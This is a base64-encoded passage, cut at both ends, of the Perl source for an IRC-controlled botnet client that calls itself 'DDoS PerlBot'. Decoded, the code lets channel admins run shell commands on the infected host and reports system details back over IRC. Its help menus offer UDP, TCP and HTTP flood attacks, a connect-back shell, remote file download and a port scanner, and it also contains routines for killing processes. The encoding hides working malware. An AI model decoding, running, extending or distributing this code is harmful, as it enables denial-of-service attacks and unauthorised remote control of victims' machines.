uPSQxOyBteSAkaG9zdG1hc2s9ICQzOyBteSAkb25kZSA9ICQ0OyBteSAkYXJncyA9ICQ1Ow0KICAgIGlmICgkYXJncyA9fiAvXlwwMDFWRVJTSU9OXDAwMSQvKSB7DQoNCiAgICB9DQoJaWYgKGdyZXAgeyRfID1+IC9eXFEkaG9zdG1hc2tcRSQvaSB9IEBob3N0YXV0aCkgew0KICAgIGlmIChncmVwIHskXyA9fiAvXlxRJHBuXEUkL2kgfSBAYWRtaW5zICkgew0KICAgIGlmICgkb25kZSBlcSAiJG1ldW5pY2siKXsNCiAgICBzaGVsbCgiJHBuIiwgIiRhcmdzIik7DQogIH0NCiAgaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tcRXxcIXUpXHMrKC4qKS8gKSB7DQogICAgbXkgJG5hdHJpeCA9ICQxOw0KICAgIG15ICRhcmcgPSAkMjsNCiAgICBpZiAoJGFyZyA9fiAvXlwhKC4qKS8pIHsNCiAgICAgIGlyY2FzZSgiJHBuIiwiJG9uZGUiLCIkMSIpOw0KICAgICAgfSBlbHNpZiAoJGFyZyA9fiAvXlxAKC4qKS8pIHsNCiAgICAgICRvbmRlcCA9ICRvbmRlOw0KICAgICAgJG9uZGVwID0gJHBuIGlmICRvbmRlIGVxICRtZXVuaWNrOw0KICAgICAgYmZ1bmMoIiRvbmRlcCIsIiQxIik7DQogICAgICB9IGVsc2Ugew0KICAgICAgc2hlbGwoIiRvbmRlIiwgIiRhcmciKTsNCiAgICB9DQogIH0NCn0NCn0NCn0NCg0KZWxzaWYgKCRzZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pXHMrTklDS1xzK1w6KFxTKykvaSkgew0KICBpZiAobGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgew0KICAkbWV1bmljaz0kNDsNCiAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOw0KICB9DQogIH0gZWxzaWYgKCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgew0KICBuaWNrKCIkbWV1bmlja3wiLmludCByYW5kKCg4OTk5OTk5OTk5KSsxMDAwMDAwMDAwKSk7DQo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zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxPT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMSpTZXJ2ZXIgICAgICAgOgMgAgMxMiRzZXJ2ZXIgIik7CQ0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMSpQb3J0ICAgICAgICAgOgMgAgMxMiRwb3J0ICIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMSpDaGFubmVscyAgICAgOgMgAgMxMkBjaGFubmVscyAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqdW5hbWUgLWEgICAgIDoDIAIDMTIkdW5hbWUgIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxKnVwdGltZSAgICAgICA6AyACAzEyJHVwdGltZSAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqRmFrZVByb2Nlc3MgIDoDIAIDMTIkcHJvY2VzcyAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqUHJvY2Vzc1BJRCAgIDoDIAIDMTIkJCAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqSUQgICAgICAgICAgIDoDIAIDMTIkaWQgIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxKk93biBEaXIgICAgICA6AyACAzEyJG93bmQgIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxPT09PT09PT09PT09PT09PT09PSADAiIpOw0KfQ0KDQppZiAoJGZ1bmNhcmcgPX4gL152ZXJzaW9uLyl7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtWZXJzaW9uXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1ZlcnNpb25dAiADOSwxQm90IEluZm9ybWF0aW9uczogICAgICAgICAgICAgICAgICADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbVmVyc2lvbl0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtWZXJzaW9uXQIgAzksMSpCb3QgVmVyc2lvbiA6IAMxMiR2ZXJzaW9uICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbVmVyc2lvbl0CIAM5LDEqQm90IENyZWF0b3IgOiADMTJERG9TICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1ZlcnNpb25dAiADOSwxKkJvdCBZZWFyICAgIDogAzEyMjAxMiAgICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtWZXJzaW9uXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9eZmxvb2QvKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMUREb1MgUGVybEJvdCBGbG9vZCBIZWxwOiADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDF1ZHAxIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxdWRwMiA8aXA+IDxwYWNrZXQgc2l6ZT4gPHRpbWU+ICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMXVkcDMgPGlwPiA8cG9ydD4gPHRpbWU+ICAgICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDF0Y3AgPGlwPiA8cG9ydD4gPHBhY2tldCBzaXplPiA8dGltZT4gIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxaHR0cCA8c2l0ZT4gPHRpbWU+ICAgICAgICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMWN0Y3BmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDFtc2dmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxbm90aWNlZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQp9DQoNCmlmICgkZnVuY2FyZyA9fiAvXmNoYW5uZWwvKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMUREb1MgUGVybEJvdCBDaGFubmVsIEhlbHA6ICAgICADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDFqb2luIDxjaGFubmVsPiAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxcGFydCA8Y2hhbm5lbD4gICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMiEDAzksMXJlam9pbiA8Y2hhbm5lbD4gICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTIhAwM5LDFvcCA8Y2hhbm5lbD4gPG5pY2s+ICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyIQMDOSwxZGVvcCA8Y2hhbm5lbD4gPG5pY2s+ICAgICADIik7CQ0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTIhAwM5LDF2b2ljZSA8Y2hhbm5lbD4gPG5pY2s+ICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyIQMDOSwxZGV2b2ljZSA8Y2hhbm5lbD4gPG5pY2s+ICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMiEDAzksMW5pY2sgPG5ld25pY2s+ICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTIhAwM5LDFtc2cgPG5pY2s+ICAgICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyIQMDOSwxcXVpdCAgICAgICAgICAgICAgICAgICAgICADIik7CQ0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTIhAwM5LDFkaWUgICAgICAgICAgICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9edXRpbHMvKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMUREb1MgUGVybEJvdCBVdGlscyBIZWxwOiAgICAgICAgICAgICAgICAgICAgICAgICAgICADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDFjYmFjayA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAMiKTsJDQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMWRvd25sb2FkIDx1cmwrcGF0aD4gPGZpbGU+ICAgICAgICAgICAgICAgICAgICAgAyIpOwkNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxbWFpbCA8c3ViamVjdD4gPHNlbmRlcj4gPHJlY2lwaWVudD4gPG1lc3NhZ2U+ICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMWRucyA8aXA+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAyIpOwkNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxcG9ydCA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMXBvcnRzY2FuIDxpcD4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAyIpOwkNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgcHdkIChmb3IgZXhhbXBsZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEZ1bmN0aW9ucyBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkZnVuY2FyZyA9fiAvXmRpZS8pIHsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlFVSVQgOiIpOw0KCSRraWxsZCA9ICJraWxsIC05ICIuZm9yazsNCglzeXN0ZW0gKGAka2lsbGRgKTsNCn0NCiMjIyMjIyMjIyMjCQ0KaWYgKCRmdW5jYXJnID1+IC9eam9pbiAoLiopLykgew0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiSk9JTiAiLiQxKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9ecGFydCAoLiopLykgew0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUEFSVCAiLiQxKTsNCn0NCiMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15wb3J0c2NhbiAoLiopLykgew0KICBteSAkaG9zdGlwPSIkMSI7DQogIG15IEBwb3J0YXM9KCIxIiwiNyIsIjkiLCIxNCIsIjIwIiwiMjEiLCIyMiIsIjIzIiwiMjUiLCI1MyIsIjgwIiwiODgiLCIxMTAiLCIxMTIiLCIxMTMiLCIxMzciLCIxNDMiLCIxNDUiLCIyMjIiLCIzMzMiLCI0MDUiLCI0NDMiLCI0NDQiLCI0NDUiLCI1MTIiLCI1ODciLCI2MTYiLCI2NjYiLCI5OTMiLCI5OTUiLCIxMDI0IiwiMTAyNSIsIjEwODAiLCIxMTQ0IiwiMTE1NiIsIjEyMjIiLCIxMjMwIiwiMTMzNyIsIjEzNDgiLCIxNjI4IiwiMTY0MSIsIjE3MjAiLCIxNzIzIiwiMTc2MyIsIjE5ODMiLCIxOTg0IiwiMTk4NSIsIjE5ODciLCIxOTg4IiwiMTk5MCIsIjE5OTQiLCIyMDA1IiwiMjAyMCIsIjIxMjEiLCIyMjAwIiwiMjIyMiIsIjIyMjMiLCIyMzQ1IiwiMjM2MCIsIjI1MDAiLCIyNzI3IiwiMzEzMCIsIjMxMjgiLCIzMTM3IiwiMzEyOSIsIjMzMDMiLCIzMzA2IiwiMzMzMyIsIjMzODkiLCI0MDAwIiwiNDAwMSIsIjQ0NzEiLCI0ODc3IiwiNTI1MiIsIjU1MjIiLCI1NTUzIiwiNTU1NCIsIjU2NDIiLCI1Nzc3IiwiNTgwMCIsIjU4MDEiLCI1OTAwIiwiNTkwMSIsIjYwNjIiLCI2NTUwIiwiNjUyMiIsIjY2MDAiLCI2NjIyIiwiNjY2MiIsIjY2NjUiLCI2NjY2IiwiNjY2NyIsIjY5NjkiLCI3MDAwIiwiNzk3OSIsIjgwMDgiLCI4MDgwIiwiODA4MSIsIjgwODIiLCI4MTgxIiwiODI0NiIsIjg0NDMiLCI4NTIwIiwiODc4NyIsIjg4NTUiLCI4ODgwIiwiODk4OSIsIjk4NTUiLCI5ODY1IiwiOTk5NyIsIjk5OTkiLCIxMDAwMCIsIjEwMDAxIiwiMTAwMTAiLCIxMDIyMiIsIjExMTcwIiwiMTEzMDYiLCIxMTQ0NCIsIjEyMjQxIiwiMTIzMTIiLCIxNDUzNCIsIjE0NTY4IiwiMTU5NTEiLCIxNzI3MiIsIjE5NjM1IiwiMTk5MDYiLCIxOTkwMCIsIjIwMDAwIiwiMjE0MTIiLCIyMTQ0MyIsIjIxMjA1IiwiMjIwMjIiLCIzMDk5OSIsIjMxMzM2IiwiMzEzMzciLCIzMjc2OCIsIjMzMTgwIiwiMzU2NTEiLCIzNjY2NiIsIjM3OTk4IiwiNDExMTQiLCI0MTIxNSIsIjQ0NTQ0IiwiNDUwNTUiLCI0NTU1NSIsIjQ1Njc4IiwiNTExMTQiLCI1MTI0NyIsIjUxMjM0IiwiNTUwNjYiLCI1NTU1NSIsIjY1MTE0IiwiNjUxNTYiLCI2NTEyMCIsIjY1NDEwIiwiNjU1MDAiLCI2NTUwMSIsIjY1NTIzIiwiNjU1MzMiKTsNCiAgbXkgKEBhYmVydGEsICVwb3J0YV9iYW5uZXIpOw0KICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1BvcnRTY2FuXQIgAzksMVNjYW5uaW5nIGZvciBvcGVuIHBvcnRzIG9uIAMxMiIuJDEuIiADOSwxc3RhcnRlZC4gAyIpOw0KICBmb3JlYWNoIG15ICRwb3J0YSAoQHBvcnRhcykgIHsNCiAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RpcCwgUGVlclBvcnQgPT4gJHBvcnRhLCBQcm90byA9PiAndGNwJywgVGltZW91dCA9PiA0KTsNCiAgICBpZiAoJHNjYW5zb2NrKSB7DQogICAgICBwdXNoIChAYWJlcnRhLCAkcG9ydGEpOw0KICAgICAgJHNjYW5zb2NrLT5jbG9zZTsNCiAgICB9DQogIH0NCiAgaWYgKEBhYmVydGEpIHsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1BvcnRTY2FuXQIgAzksMU9wZW4gcG9ydHMgZm91bmQ6IAMxMkBhYmVydGEgAyIpOw0KICAgIH0gZWxzZSB7DQogICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtQb3J0U2Nhbl0CIAM5LDFObyBvcGVuIHBvcnRzIGZvdW5kLiADIik7DQogIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15kb3dubG9hZFxzKyguKilccysoLiopLykgew0KCWdldHN0b3JlKCIkMSIsICIkMiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbRG93bmxvYWRdAiADOSwxRG93bmxvYWRlZCB0aGUgZmlsZTogAzEyJDIgAzksMWZyb20gAzEyJDEgAyIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMNCmlmICgkZnVuY2FyZyA9fiAvXmRuc1xzKyguKikvKXsgDQoJbXkgJG5za3UgPSAkMTsNCgkkbXlkbnMgPSBpbmV0X250b2EoaW5ldF9hdG9uKCRuc2t1KSk7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtETlNdAiADOSwxUmVzb2x2ZWQ6IAMxMiRuc2t1IAM5LDF0byADMTIkbXlkbnMgAyIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMNCmlmICgkZnVuY2FyZz1+IC9ecG9ydFxzKyguKj8pXHMrKC4qKS8gKSB7DQoJbXkgJGhvc3RpcD0gIiQxIjsNCglteSAkcG9ydHNjPSAiJDIiOw0KCW15ICRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdGlwLCBQZWVyUG9ydCA9PiAkcG9ydHNjLCBQcm90byA9Pid0Y3AnLCBUaW1lb3V0ID0+IDcpOw0KCWlmICgkc2NhbnNvY2spIHsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1BPUlRdAiADOSwxQ29ubmVjdGlvbiB0byADMTIkaG9zdGlwAzksMToDMTIkcG9ydHNjIAM5LDFpcyADMTJBY2NlcHRlZC4gAyIpOw0KCX0NCgllbHNlIHsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1BPUlRdAiADOSwxQ29ubmVjdGlvbiB0byADMTIkaG9zdGlwAzksMToDMTIkcG9ydHNjIAM5LDFpcyADNFJlZnVzZWQuIAMiKTsNCgl9DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYg